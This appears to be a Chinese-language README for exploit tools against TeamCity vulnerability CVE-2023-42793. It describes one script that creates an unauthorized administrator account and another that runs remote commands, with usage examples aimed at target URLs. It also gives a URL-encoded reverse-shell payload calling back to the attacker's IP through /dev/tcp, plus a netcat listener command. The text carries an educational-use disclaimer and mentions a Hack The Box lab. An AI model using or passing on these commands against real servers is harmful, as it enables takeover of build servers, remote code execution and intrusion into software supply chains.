CVE-2023-42793 - TeamCity 管理员账户创建导致远程代码执行 (RCE)

首先使用 exploit.py 为你创建一个管理员账户，然后使用 rce.py 在目标上执行命令，关于反弹 Shell 请查看这里

漏洞利用脚本

描述

该脚本利用 CVE-2023-42793 在 TeamCity 服务器上创建管理员账户。它向目标 URL 发送 POST 请求，使用指定或随机凭据创建管理员用户。

使用方法

python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]

选项

• -u, --url URL：目标 URL（必填）
• -v, --verbose：启用详细模式
• -n, --username USERNAME：指定用户名（默认随机）
• -p, --password PASSWORD：指定密码（默认随机）
• -e, --email EMAIL：指定邮箱（默认随机）
• -t, --token-file：保存令牌的文件

前置条件

• Python 3.x
• Python 库
  • 安装依赖：pip3 install -r requirements.txt

示例

1. 使用随机用户名、密码和邮箱进行利用：

   root@kitploit:~

   python exploit.py -u http://target.com
   

2. 使用指定的用户名、密码和邮箱进行利用：

   root@kitploit:~

   python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
   

输出

成功利用后，脚本会打印所创建管理员账户的 URL、用户名和密码，并将输出保存到令牌文件中。

远程代码执行 (RCE) 脚本

描述 此脚本允许在受影响的 TeamCity 服务器上执行命令，利用 CVE-2023-42793。它首先启用调试进程，然后使用相应的 API 端点执行指定命令。

使用方法

python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]

选项

• -u, --url URL：目标 URL（必填）
• -t, --token-file：指定包含令牌的文件
• -c, --command COMMAND：指定要执行的命令（RCE）
• -P, --port PORT：指定端口（默认为 80）

示例

使用指定命令进行利用：

python rce.py -u http://target.com -t token -c "whoami"

关于反弹 Shell

python3 rce.py -u http://target.com -t token -c '"/bin/bash"&params="-c"&params="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'

• 在此反弹 Shell 命令中，将 {IP} 替换为你的 IP，{port} 替换为你监听的端口
• 使用 nc 创建一个监听器，例如 nc -nvlp 5555
• 更多信息请查看 revshells

注意事项

• 该脚本已在 Hack The Box 的 Runner.htb 上测试通过
• 此脚本仅供教育目的使用
• 请负责任地使用，仅在你被授权测试的系统上使用

致谢

• Zyad Elsayed
  • GitHub 仓库：Zyad-Elsayed
  • LinkedIn 账号：zyad-abdelbary
• 管理员账户原始利用脚本：ByteHunter (Exploit-DB)

资源

• CVE-2023-42793 描述：CVE 漏洞的官方描述。
• Exploit Database 条目：Exploit Database 上的原始利用代码。
• TeamCity 博客：讨论 TeamCity 中 CVE-2023-42793 漏洞的博客文章。
• TeamCity 文档：TeamCity 的官方文档。